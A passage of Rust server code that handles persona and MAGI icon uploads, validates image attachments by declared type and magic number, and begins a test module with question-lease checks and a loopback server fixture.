10884        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10885        let found = persona::find(&specs, id);
10886        let icon =
10887            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10888        Ok(raster_or_builtin(
10889            icon.as_deref().filter(|_| q.builtin.is_none()),
10890            persona_icon::builtin_svg(id),
10891        ))
10892    })
10893    .await
10894}
10895
10896fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10897    if q.persona
10898        .as_ref()
10899        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10900    {
10901        return Err(ApiError::bad_request("invalid persona id"));
10902    }
10903    Ok(())
10904}
10905
10906async fn avatar_settings_put(
10907    State(ui): State<Arc<Ui>>,
10908    Query(q): Query<AvatarSettingsQuery>,
10909    Json(upload): Json<MagiIconUpload>,
10910) -> ApiResult<Json<serde_json::Value>> {
10911    blocking(move || {
10912        validate_avatar_target(&q)?;
10913        save_icon_file(
10914            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10915            &upload.icon,
10916        )
10917        .map_err(ApiError::bad_request_from)?;
10918        Ok(Json(serde_json::json!({"saved":true})))
10919    })
10920    .await
10921}
10922
10923async fn avatar_settings_delete(
10924    State(ui): State<Arc<Ui>>,
10925    Query(q): Query<AvatarSettingsQuery>,
10926) -> ApiResult<Json<serde_json::Value>> {
10927    blocking(move || {
10928        validate_avatar_target(&q)?;
10929        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10930        if q.persona.is_some() && q.inherit.is_none() {
10931            atomic_icon_write(&path, "builtin")?;
10932        } else {
10933            match std::fs::remove_file(path) {
10934                Ok(()) => (),
10935                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10936                Err(e) => return Err(anyhow::Error::from(e).into()),
10937            }
10938        }
10939        Ok(Json(serde_json::json!({"saved":true})))
10940    })
10941    .await
10942}
10943
10944// The global MAGI icon is deliberately independent of repository configuration.
10945fn magi_icon_path(home: &FsPath) -> PathBuf {
10946    home.join("magi-icon.data")
10947}
10948
10949fn read_magi_icon(home: &FsPath) -> Option<String> {
10950    read_icon_file(&magi_icon_path(home))
10951}
10952
10953fn read_icon_file(path: &FsPath) -> Option<String> {
10954    let metadata = std::fs::metadata(path).ok()?;
10955    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10956        return None;
10957    }
10958    let file = std::fs::File::open(path).ok()?;
10959    use std::io::Read;
10960    let mut text = String::new();
10961    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10962        .read_to_string(&mut text)
10963        .ok()?;
10964    if text.len() > persona_icon::ICON_MAX_BYTES {
10965        return None;
10966    }
10967    if text == "builtin" {
10968        return Some(text);
10969    }
10970    validate_uploaded_icon(&text).ok()?;
10971    Some(text)
10972}
10973
10974fn magi_icon_url(home: &FsPath) -> String {
10975    format!(
10976        "/avatars/magi?v={}",
10977        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10978    )
10979}
10980
10981async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10982    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10983}
10984
10985#[derive(Deserialize)]
10986struct MagiIconUpload {
10987    icon: String,
10988}
10989
10990fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10991    save_icon_file(&magi_icon_path(home), icon)
10992}
10993
10994fn validate_uploaded_icon(icon: &str) -> Result<()> {
10995    if !icon.starts_with("data:") {
10996        anyhow::bail!("upload a raster image");
10997    }
10998    let (mime, bytes) = persona_icon::load(icon)?;
10999    if sniffed_mime(&bytes) != Some(mime) {
11000        anyhow::bail!("image content does not match its type");
11001    }
11002    Ok(())
11003}
11004
11005fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
11006    validate_uploaded_icon(icon)?;
11007    atomic_icon_write(path, icon)
11008}
11009
11010fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
11011    let home = path.parent().expect("icon parent");
11012    std::fs::create_dir_all(home)?;
11013    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
11014    let temp = home.join(format!(".magi-icon-{token}.tmp"));
11015    let result = (|| -> Result<()> {
11016        use std::io::Write;
11017        let mut file = std::fs::OpenOptions::new()
11018            .write(true)
11019            .create_new(true)
11020            .open(&temp)?;
11021        file.write_all(icon.as_bytes())?;
11022        file.sync_all()?;
11023        std::fs::rename(&temp, path)?;
11024        Ok(())
11025    })();
11026    let _ = std::fs::remove_file(temp);
11027    result?;
11028    Ok(())
11029}
11030
11031async fn magi_icon_put(
11032    State(ui): State<Arc<Ui>>,
11033    Json(upload): Json<MagiIconUpload>,
11034) -> ApiResult<Json<serde_json::Value>> {
11035    blocking(move || {
11036        if !upload.icon.starts_with("data:") {
11037            return Err(ApiError::bad_request("upload a raster image"));
11038        }
11039        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
11040        if sniffed_mime(&bytes) != Some(mime) {
11041            return Err(ApiError::bad_request(
11042                "image content does not match its type",
11043            ));
11044        }
11045        save_magi_icon(&ui.home, &upload.icon)?;
11046        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11047    })
11048    .await
11049}
11050
11051async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
11052    blocking(move || {
11053        match std::fs::remove_file(magi_icon_path(&ui.home)) {
11054            Ok(()) => (),
11055            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
11056            Err(e) => return Err(anyhow::Error::from(e).into()),
11057        }
11058        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
11059    })
11060    .await
11061}
11062
11063async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
11064    let icon = (q.builtin.is_none())
11065        .then(|| read_magi_icon(&ui.home))
11066        .flatten();
11067    let mut response = match icon
11068        .as_deref()
11069        .and_then(|icon| persona_icon::load(icon).ok())
11070    {
11071        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11072            attachment_response(mime, bytes)
11073        }
11074        _ => svg_avatar(persona_icon::magi_svg()),
11075    };
11076    response
11077        .headers_mut()
11078        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
11079    response
11080}
11081
11082/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
11083/// operator's raster `icon` when it resolves and its bytes agree with its
11084/// type, the built-in SVG otherwise. Display only; every failure is a warning
11085/// and the built-in avatar, never an error response.
11086async fn talk_avatar(
11087    State(ui): State<Arc<Ui>>,
11088    Path(id): Path<String>,
11089    Query(q): Query<AvatarQuery>,
11090) -> ApiResult<Response> {
11091    blocking(move || {
11092        let id = resolve_talk(&ui.talks, &id)?;
11093        let talk = ui.talks.get(&id)?;
11094        let wanted = q
11095            .persona
11096            .as_deref()
11097            .map(str::trim)
11098            .filter(|p| !p.is_empty())
11099            .unwrap_or(&talk.persona)
11100            .to_owned();
11101        let specs = match Config::discover(&talk.repo, None) {
11102            Ok((cfg, _)) => cfg.talk.personas,
11103            Err(e) => {
11104                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11105                Vec::new()
11106            }
11107        };
11108        let found = persona::find(&specs, &wanted);
11109        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11110        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11111        let icon = effective_persona_icon(
11112            &ui.home,
11113            &wanted,
11114            found.as_ref().and_then(|p| p.icon.as_deref()),
11115        );
11116        if found.is_none() && icon.is_none() {
11117            return Ok(builtin_avatar(persona::DEFAULT_ID));
11118        }
11119        let Some(icon) = icon
11120            .as_deref()
11121            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11122        else {
11123            return Ok(builtin_avatar(&wanted));
11124        };
11125        let Some(found) = found else {
11126            return Ok(raster_or_builtin(
11127                Some(icon),
11128                persona_icon::builtin_svg(&wanted),
11129            ));
11130        };
11131        match persona_icon::load(icon) {
11132            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11133                let mut res = attachment_response(mime, bytes);
11134                res.headers_mut().insert(
11135                    header::CACHE_CONTROL,
11136                    header::HeaderValue::from_static("no-cache"),
11137                );
11138                Ok(res)
11139            }
11140            Ok((mime, _)) => {
11141                tracing::warn!(
11142                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11143                    found.id
11144                );
11145                Ok(builtin_avatar(&found.id))
11146            }
11147            Err(e) => {
11148                tracing::warn!(
11149                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11150                    found.id
11151                );
11152                Ok(builtin_avatar(&found.id))
11153            }
11154        }
11155    })
11156    .await
11157}
11158
11159/// Validate an attachment upload's declared `Content-Type` and the bytes
11160/// themselves, returning the canonical mime on success.
11161///
11162/// Two checks, both required: the header has to name one of
11163/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11164/// simply never in the list, active content rather than a picture, the same
11165/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11166/// magic number has to agree. The second is what stops a mislabeled upload -
11167/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11168/// a declared type is a claim, not a fact, so it is never trusted alone.
11169fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11170    if data.len() > ATTACHMENT_MAX_BYTES {
11171        return Err(ApiError::bad_request(format!(
11172            "attachment is {} bytes, over the {} MiB limit",
11173            data.len(),
11174            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11175        ))
11176        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11177    }
11178    if data.is_empty() {
11179        return Err(ApiError::bad_request("attachment is empty"));
11180    }
11181    let declared = declared_mime(headers)?;
11182    match sniffed_mime(data) {
11183        Some(sniffed) if sniffed == declared => Ok(declared),
11184        Some(sniffed) => Err(ApiError::bad_request(format!(
11185            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11186        ))),
11187        None => Err(ApiError::bad_request(
11188            "the file's bytes do not match any accepted image format",
11189        )),
11190    }
11191}
11192
11193/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11194/// and nothing else - parameters like `; charset=` are stripped, but the
11195/// value itself is not otherwise interpreted.
11196fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11197    let raw = headers
11198        .get(header::CONTENT_TYPE)
11199        .and_then(|v| v.to_str().ok())
11200        .unwrap_or("")
11201        .split(';')
11202        .next()
11203        .unwrap_or("")
11204        .trim()
11205        .to_ascii_lowercase();
11206    ATTACHMENT_MIME_WHITELIST
11207        .iter()
11208        .find(|&&m| m == raw)
11209        .copied()
11210        .ok_or_else(|| {
11211            if raw == "image/svg+xml" {
11212                ApiError::bad_request(
11213                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11214                     not just a picture",
11215                )
11216            } else if raw.is_empty() {
11217                ApiError::bad_request("Content-Type is required for an attachment upload")
11218            } else {
11219                ApiError::bad_request(format!(
11220                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11221                     image/gif or image/webp"
11222                ))
11223            }
11224        })
11225}
11226
11227/// Identify an image by its magic number, independent of whatever
11228/// `Content-Type` claimed.
11229fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11230    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11231        Some("image/png")
11232    } else if data.starts_with(b"\xff\xd8\xff") {
11233        Some("image/jpeg")
11234    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11235        Some("image/gif")
11236    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11237        Some("image/webp")
11238    } else {
11239        None
11240    }
11241}
11242
11243/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11244/// display - see [`talk::Attachment::name`]'s doc on why it never
11245/// contributes to a path. A missing or blank header (curl without it, an
11246/// older front end) falls back to a generic name rather than refusing the
11247/// upload over a field that is cosmetic.
11248fn filename_header(headers: &HeaderMap) -> String {
11249    headers
11250        .get(FILENAME_HEADER)
11251        .and_then(|v| v.to_str().ok())
11252        .map(str::trim)
11253        .filter(|s| !s.is_empty())
11254        .unwrap_or("attachment")
11255        .to_owned()
11256}
11257
11258/// Every attachment `GET` response: the mime re-validated against the same
11259/// closed whitelist the upload route enforces - never the string trusted
11260/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11261/// cannot decide it knows better than the type we send. Unlike a panel asset
11262/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11263/// document renders inline, not agent-authored HTML in a sandboxed frame.
11264fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11265    let content_type = ATTACHMENT_MIME_WHITELIST
11266        .iter()
11267        .find(|&&m| m == mime)
11268        .copied()
11269        .unwrap_or("application/octet-stream");
11270    (
11271        [
11272            (header::CONTENT_TYPE, content_type),
11273            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11274        ],
11275        body,
11276    )
11277        .into_response()
11278}
11279
11280/// The configuration for a repository, read off the disk for this request.
11281///
11282/// Through [`blocking`] because discovery reads and merges several TOML files,
11283/// and because the alternative - caching it in [`Ui`] at startup - would mean
11284/// the operator's phone kept interviewing with a roster they had already
11285/// changed, with no way to reload it but restarting the server they are not
11286/// sitting in front of.
11287async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11288    let repo = repo.to_path_buf();
11289    blocking(move || {
11290        let (cfg, _) = Config::discover(&repo, None)?;
11291        Ok(cfg)
11292    })
11293    .await
11294}
11295
11296/// The one prefix rule, used for both runs and tasks: a leading match for a
11297/// full id, a trailing match for the short form an operator reads off a
11298/// report. Written here rather than borrowed from `queue::resolve_id` because
11299/// the UI needs the two failures as different status codes, and telling them
11300/// apart from an error message is not something to build a route on.
11301fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11302    let mut hits = ids
11303        .into_iter()
11304        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11305    match (hits.next(), hits.next()) {
11306        (Some(one), None) => Ok(one),
11307        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11308        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11309            "`{prefix}` matches more than one {what}, including {a} and {b}"
11310        ))),
11311    }
11312}
11313
11314#[cfg(test)]
11315mod tests {
11316
11317    #[test]
11318    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11319        let dir = tempfile::tempdir().unwrap();
11320        let store = ask::Questions::at(dir.path().join("questions"));
11321        let mut q = Question::new(
11322            "task".to_owned(),
11323            "conduct".to_owned(),
11324            "conduct".to_owned(),
11325            "choose".to_owned(),
11326            String::new(),
11327            vec!["keep".to_owned()],
11328        );
11329        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11330        q.say("why?").unwrap();
11331        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11332        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11333        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11334        store.put(&mut q).unwrap();
11335        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11336        assert_eq!(store.count_needs_owner(), 1);
11337        store.beat(&q.id, ask::WaiterKind::Deputy);
11338        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11339        assert_eq!(store.count_needs_owner(), 0);
11340        let mut stale = store.read_lease(&q.id).unwrap();
11341        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11342        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11343        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11344        assert!(view.deputy_exhausted);
11345        assert!(view.waiting_on_agent);
11346        assert_eq!(view.question.choices, ["keep"]);
11347        store.drop_lease(&q.id);
11348        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11349        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11350    }
11351
11352    #[test]
11353    fn holder_reads_the_lease_not_the_record() {
11354        let mut q = Question::new(
11355            "run".to_owned(),
11356            "implement".to_owned(),
11357            "impl-A".to_owned(),
11358            "which?".to_owned(),
11359            String::new(),
11360            Vec::new(),
11361        );
11362        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11363        q.cwd = Some("/tmp".to_owned());
11364        assert_eq!(holder_of(&q, None), Some("nobody"));
11365        let beat = |kind, ago: i64| ask::Lease {
11366            kind,
11367            pid: 1,
11368            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11369                .unwrap(),
11370        };
11371        let fresh = beat(ask::WaiterKind::Asker, 1);
11372        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11373        let daemon = beat(ask::WaiterKind::Daemon, 1);
11374        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11375        let stale = beat(ask::WaiterKind::Asker, 3600);
11376        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11377
11378        // A conductor question says "deputy" only while one is attached and
11379        // alive, and "nobody" - never silence - when nothing ever listened.
11380        let mut c = Question::new(
11381            "task".to_owned(),
11382            crate::conduct::NODE.to_owned(),
11383            "conduct".to_owned(),
11384            "which?".to_owned(),
11385            String::new(),
11386            Vec::new(),
11387        );
11388        assert_eq!(holder_of(&c, None), Some("nobody"));
11389        c.cwd = Some("/tmp".to_owned());
11390        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11391        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11392        let deputy = beat(ask::WaiterKind::Deputy, 1);
11393        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11394        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11395
11396        // A release-watch question: nobody until a deputy is attached.
11397        let mut r = Question::new(
11398            String::new(),
11399            crate::bump::NOTICE_NODE.to_owned(),
11400            "release-watch".to_owned(),
11401            "stuck?".to_owned(),
11402            String::new(),
11403            vec!["hold".to_owned()],
11404        );
11405        assert_eq!(holder_of(&r, None), Some("nobody"));
11406        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11407        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11408        // A choice-less bump notice is nobody's question at all.
11409        r.deputy = None;
11410        r.seat = "bump".to_owned();
11411        assert_eq!(holder_of(&r, None), None);
11412
11413        // A merge approval is the same: nobody until a deputy is attached
11414        // and alive, never a silent "no holder".
11415        let mut m = Question::new(
11416            "run".to_owned(),
11417            crate::land::APPROVAL_NODE.to_owned(),
11418            "land".to_owned(),
11419            "merge?".to_owned(),
11420            String::new(),
11421            Vec::new(),
11422        );
11423        assert_eq!(holder_of(&m, None), Some("nobody"));
11424        assert_eq!(
11425            holder_of(&m, Some(&fresh)),
11426            Some("asker"),
11427            "a live explicit wait is a listener even before a deputy is attached"
11428        );
11429        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11430        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11431        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11432        assert_eq!(holder_of(&m, None), Some("nobody"));
11433    }
11434
11435    fn stub_config() -> Config {
11436        // An explicit roster, so the result never depends on which agent CLIs
11437        // this machine has installed.
11438        Config {
11439            agents: vec![crate::config::AgentSpec {
11440                id: "stub".to_owned(),
11441                kind: AgentKind::Command,
11442                model: None,
11443                command: vec!["true".to_owned()],
11444                extra_args: Vec::new(),
11445                env: Default::default(),
11446                prompt_delivery: None,
11447                max_turn_secs: None,
11448            }],
11449            ..Config::default()
11450        }
11451    }
11452
11453    fn plain_question(seat: &str) -> Question {
11454        Question::new(
11455            String::new(),
11456            "n".to_owned(),
11457            seat.to_owned(),
11458            "s".to_owned(),
11459            String::new(),
11460            Vec::new(),
11461        )
11462    }
11463
11464    #[test]
11465    fn deputies_enabled_follows_the_config() {
11466        let on = stub_config();
11467        assert!(crate::deputy::can_start(Some(&on), ""));
11468        assert!(crate::deputy::can_start(Some(&on), "stub"));
11469        let mut off = on.clone();
11470        off.daemon.max_deputies = 0;
11471        assert!(!crate::deputy::can_start(Some(&off), ""));
11472        let mut empty = on;
11473        empty.agents.clear();
11474        assert!(!crate::deputy::can_start(Some(&empty), ""));
11475        assert!(!crate::deputy::can_start(None, ""));
11476    }
11477
11478    #[test]
11479    fn question_views_load_the_config_once() {
11480        let dir = TempDir::new().unwrap();
11481        let store = ask::Questions::at(dir.path().to_path_buf());
11482        let mut with_deputy = plain_question("b");
11483        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11484        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11485
11486        let calls = std::cell::Cell::new(0usize);
11487        let views = question_views(qs.clone(), &store, || {
11488            calls.set(calls.get() + 1);
11489            Some(stub_config())
11490        });
11491        assert_eq!(calls.get(), 1);
11492        assert_eq!(views.len(), 3);
11493        for (v, q) in views.iter().zip(&qs) {
11494            assert_eq!(
11495                v.deputies_enabled,
11496                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11497            );
11498        }
11499
11500        let views = question_views(qs, &store, || None);
11501        assert!(views.iter().all(|v| !v.deputies_enabled));
11502
11503        let calls = std::cell::Cell::new(0usize);
11504        let views = question_views(Vec::new(), &store, || {
11505            calls.set(calls.get() + 1);
11506            None
11507        });
11508        assert!(views.is_empty());
11509        assert_eq!(calls.get(), 0);
11510    }
11511
11512    use pretty_assertions::assert_eq;
11513    use serde_json::Value;
11514    use tempfile::TempDir;
11515    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11516
11517    use super::*;
11518    use crate::config::Config;
11519    use crate::queue::Source;
11520
11521    /// How many 10ms steps a settle loop takes before it calls a stall a
11522    /// stall - thirty seconds.
11523    ///
11524    /// These loops wait on real `sh` subprocesses, and the machine that runs
11525    /// the gate runs several suites at once, so a two-second budget was not
11526    /// waiting for the reply, it was racing the scheduler: two of these
11527    /// tests failed under that load with the turn simply not landed yet.
11528    /// This is a hang guard, not a latency assertion - every loop breaks the
11529    /// moment its condition holds, so a generous cap costs an idle machine
11530    /// nothing and still fails a genuine hang instead of hanging the suite.
11531    const SETTLE_STEPS: usize = 3_000;
11532
11533    /// A home with a queue and a runs directory, and a router serving it on
11534    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11535    /// dependency, not ours - so the tests drive a real socket, which has the
11536    /// side benefit of asserting the status line and content types the phone
11537    /// actually receives.
11538    struct Fixture {
11539        home: TempDir,
11540        addr: SocketAddr,
11541    }
11542
11543    impl Fixture {
11544        async fn start() -> Self {
11545            Self::with_loop(launch_idle).await
11546        }
11547
11548        /// A fixture whose loop is `launch`.
11549        async fn with_loop(launch: Launch) -> Self {
11550            let home = TempDir::new().expect("temp home");
11551            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11552            Self { home, addr }
11553        }
11554
11555        /// A fixture whose `ui.repo` is a real directory rather than the
11556        /// usual placeholder - for the routes that read config off it
11557        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11558        async fn with_repo(repo: PathBuf) -> Self {
11559            let home = TempDir::new().expect("temp home");
11560            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11561            Self { home, addr }
11562        }
11563
11564        /// As [`Fixture::with_repo`], with the machine-config file the
11565        /// settings screen reads and writes.
11566        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11567            let home = TempDir::new().expect("temp home");
11568            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11569            Self { home, addr }
11570        }
11571
11572        async fn serve(
11573            home: &FsPath,
11574            repo: PathBuf,
11575            launch: Launch,
11576            machine: Option<PathBuf>,
11577        ) -> SocketAddr {
11578            let queue = Queue::at(home.join("queue"));
11579            let runs = home.join("runs");
11580            std::fs::create_dir_all(&runs).expect("runs dir");
11581            let worktrees = home.join("wt").join("magi");
11582            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11583            let ui = Ui::new(
11584                queue,
11585                Questions::at(home.join("questions")),
11586                Talks::at(home.join("talks")),
11587                runs,
11588                home.to_path_buf(),
11589                repo,
11590            )
11591            .with_worktrees_root(worktrees)
11592            .with_machine_config(machine)
11593            .with_launch(launch);
11594            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11595                .await
11596                .expect("bind loopback");
11597            let addr = listener.local_addr().expect("local addr");
11598            tokio::spawn(async move {
11599                let router = ui
11600                    .router()
11601                    .layer(axum::middleware::from_fn(request_cost::observe));
11602                let _ = axum::serve(listener, router).await;
11603            });
11604            addr
11605        }
11606
11607        fn queue(&self) -> Queue {
11608            Queue::at(self.home.path().join("queue"))
11609        }
11610
11611        fn questions(&self) -> Questions {
11612            Questions::at(self.home.path().join("questions"))
11613        }
11614
11615        fn talks(&self) -> Talks {
11616            Talks::at(self.home.path().join("talks"))
11617        }
11618
11619        fn runs(&self) -> PathBuf {
11620            self.home.path().join("runs")
11621        }
11622
11623        async fn get(&self, path: &str) -> Res {
11624            request(self.addr, "GET", path, None).await
11625        }
11626
11627        /// The status and headers without the body, which is how the front end
11628        /// preflights a panel: a sandboxed frame is opaque to the parent
11629        /// document, so the only way to tell "no panel" from "a panel that
11630        /// rendered blank" is to ask before mounting.
11631        async fn head(&self, path: &str) -> Res {
11632            request(self.addr, "HEAD", path, None).await
11633        }
11634
11635        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11636            request(self.addr, "POST", path, body).await
11637        }
11638
11639        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11640            request_with(self.addr, "GET", path, None, extra).await
11641        }
11642
11643        async fn delete(&self, path: &str) -> Res {
11644            request(self.addr, "DELETE", path, None).await
11645        }
11646
11647        async fn put(&self, path: &str, body: &str) -> Res {
11648            request(self.addr, "PUT", path, Some(body)).await
11649        }
11650
11651        /// `POST` a raw body with its own headers - see [`request_bytes`].
11652        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11653            request_bytes(self.addr, path, headers, body).await
11654        }
11655    }
11656
11657    /// Real tracking refs exercise the successful discovery path (including
11658    /// extraction), rather than counting cheap failures on a placeholder repo.
11659    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11660        let tmp = TempDir::new().unwrap();
11661        let mut repos = Vec::new();
11662        for name in ["one", "two"] {
11663            let repo = tmp.path().join(name);
11664            let origin = tmp.path().join(format!("{name}.git"));
11665            std::fs::create_dir_all(&repo).unwrap();
11666            crate::git::git(&repo, &["init", "-b", "main"])
11667                .await
11668                .unwrap();
11669            std::fs::write(
11670                repo.join("magi.toml"),
11671                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11672            )
11673            .unwrap();
11674            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11675            crate::git::git(
11676                &repo,
11677                &[
11678                    "-c",
11679                    "user.name=fixture",
11680                    "-c",
11681                    "user.email=fixture@example.invalid",
11682                    "commit",
11683                    "-m",
11684                    "fixture",
11685                ],
11686            )
11687            .await
11688            .unwrap();
11689            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11690                .await
11691                .unwrap();
11692            crate::git::git(
11693                &repo,
11694                &["remote", "add", "origin", origin.to_str().unwrap()],
11695            )
11696            .await
11697            .unwrap();
11698            crate::git::git(&repo, &["push", "origin", "main"])
11699                .await
11700                .unwrap();
11701            crate::git::git(
11702                &repo,
11703                &[
11704                    "symbolic-ref",
11705                    "refs/remotes/origin/HEAD",
11706                    "refs/remotes/origin/main",
11707                ],
11708            )
11709            .await
11710            .unwrap();
11711            let (cfg, _) = Config::discover(&repo, None).unwrap();
11712            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11713            repos.push(repo);
11714        }
11715        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11716        (tmp, repos)
11717    }
11718
11719    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11720        let (tmp, repos) = performance_repositories().await;
11721        let machine = tmp.path().join("machine.toml");
11722        std::fs::write(&machine, "").unwrap();
11723        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11724        (tmp, repos, fx)
11725    }
11726
11727    fn seed_performance(
11728        fx: &Fixture,
11729        repos: &[PathBuf; 2],
11730        questions: usize,
11731        runs: usize,
11732        items: usize,
11733    ) {
11734        // Saving states directly never starts a run or changes MAGI_HOME.
11735        for i in fx.questions().list().len()..questions {
11736            let mut question = Question::new(
11737                "20261001-000000-0000".into(),
11738                "implement".into(),
11739                "impl-A".into(),
11740                format!("question {i}"),
11741                "context".into(),
11742                vec!["yes".into(), "no".into()],
11743            );
11744            question.id = format!("20261003-000000-{i:04x}");
11745            fx.questions().put(&mut question).unwrap();
11746        }
11747        for i in run_ids(&fx.runs()).len()..runs {
11748            write_run_repo(
11749                &fx.runs(),
11750                &format!("20261001-000000-{i:04x}"),
11751                RunStatus::Ready,
11752                repos[i % 2].to_str().unwrap(),
11753            );
11754        }
11755        for i in fx.talks().list().len()..items {
11756            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11757            let mut talk = fx.talks().get(&id).unwrap();
11758            talk.repo = repos[i % 2].clone();
11759            fx.talks().put(&mut talk).unwrap();
11760            let mut task = crate::queue::Task::new(
11761                format!("task {i}"),
11762                "instruction".into(),
11763                repos[i % 2].clone(),
11764                crate::queue::Source::Agent {
11765                    run: id,
11766                    node: crate::queue::CHAT_NODE.into(),
11767                },
11768            );
11769            task.id = format!("20261004-000000-{i:04x}");
